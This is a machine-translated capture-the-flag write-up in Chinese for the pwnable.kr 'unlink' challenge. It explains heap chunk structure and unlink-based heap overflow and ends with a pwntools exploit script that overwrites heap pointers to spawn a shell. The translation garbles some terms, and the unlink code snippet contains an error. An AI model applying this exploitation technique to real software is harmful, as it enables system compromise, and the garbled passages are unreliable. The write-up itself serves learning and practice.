使用pwnable.kr 19解决问题-取消链接。 堆缓冲区溢出

图片

在本文中,我们将处理堆中的缓冲区溢出漏洞,并从站点pwnable.kr解决第19个任务。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

一堆的组织方式


内存可以繁忙(已分配)和空闲。 该图显示了动态内存。
  • SSize-上一个内存块的大小(如果可用)。
  • 大小-给定存储块的大小,其中添加了2个状态位。
  • 数据-用户数据。
  • Fd是指向下一个空闲块的指针。
  • Bk-指向上一个空闲块的指针。
  • 可用-可用内存。

图片

因此,没有两个空闲块可以是邻居。 另外,在已占用和可用系统内存的边界上,有一个经过特殊处理的可用W块。

图片

列表(篮子)中块的表示如下。

图片

unlink方法用于从列表中删除空闲块。
void unlink(S, BK, FD){ BK = S->bk; FD = S->fd; FD->bk=BK; FD->fd=FD; } 

分配和释放内存


让我们看看mmap的工作原理。 第一步,检查所需大小的数组(例如24个字节)。 如果有必要的块,则使用取消链接将其分隔。

图片

在第二步中,如果此块足够大,则将其分为两部分。 第一部分被分配,第二部分被重新分配到另一个数组。

图片

在第三步中,如果尚未分配所需大小的块,则检查W块。 如果他满意,则继续执行第二步。 如果W块很小,则使用sbrk()和mmap()扩展可用内存。 Free方法与mmap完全相反。

堆缓冲区溢出


堆溢出是堆数据区域中发生的一种缓冲区溢出。 堆上的内存由应用程序在运行时动态分配,通常包含程序数据。 通过以特殊方式破坏此数据来执行利用,以便应用程序覆盖内部结构,例如指向链表的指针。 规范的堆溢出方法将覆盖动态内存分配关系(例如,malloc元数据),并使用指针交换来重写指向程序函数的指针。

例如,在取消链接功能中,使用FD-> bk,可以更改内存中任意字的值。 例如,放入shellcode更改GOT地址。 一个例子就是溢出。

取消作业解决方案


我们单击第一个带签名取消链接的图标,然后告知我们需要通过SSH与密码guest连接。

图片

连接后,我们会看到相应的横幅。

图片

让我们找出服务器上有哪些文件,以及我们拥有的权限。

图片

让我们看一下源代码。

图片

因此,我们将对象B与对象A和C关联在一起,然后输入并填充对象A.将对象A-B-C连接并控制A的填充,我们可能会溢出堆并重写对象B和C.我们需要找到一种利用漏洞的方法。 让我们看一下gdb。

图片

因此,您可以编写shellcode,并将返回地址从main重写为我们的shellcode。 返回地址从ecx寄存器进入esp,并从ebp-4馈入。 拆解取消链接功能后,我们注意到ebp-4可以由用户输入控制。

图片

让我们看看我们的对象如何位于内存中以及取消链接功能如何工作。 每个对象在内存中占用16个字节(指针4个,缓冲区8个)。

图片

对象的内存分配发生在main + 38,main + 54和main + 70行中。 在每次调用之前,堆栈指针(esp)增加16并减少12,此后保留16个字节。

图片

图片

也就是说,结构之间有4个字节。

图片

接下来是对象的链接和链接。

图片

图片

因此,我们需要从函数返回时,该地址将到达位置堆+ 12,这将把控制权转移到shellcode所在的地址。

图片

 from pwn import * s = ssh("unlink", "pwnable.kr", password="guest", port=2222) ex = s.process("./unlink") shell_address = p32(0x80484eb) ans = ex.recv().split("\n") stack_addr = p32(int(ans[0].split(" ")[5],16) + 16) heap_addr = p32(int(ans[1].split(" ")[5],16) + 12) payload = shell_address + "A"*12 + heap_addr + stack_addr ex.sendline(payload) ex.interactive() 

图片

我们得到外壳,读取标志,得到10分。



您可以通过Telegram加入我们。 下次我们将处理堆溢出。

Source: https://habr.com/ru/post/zh-CN463227/


All Articles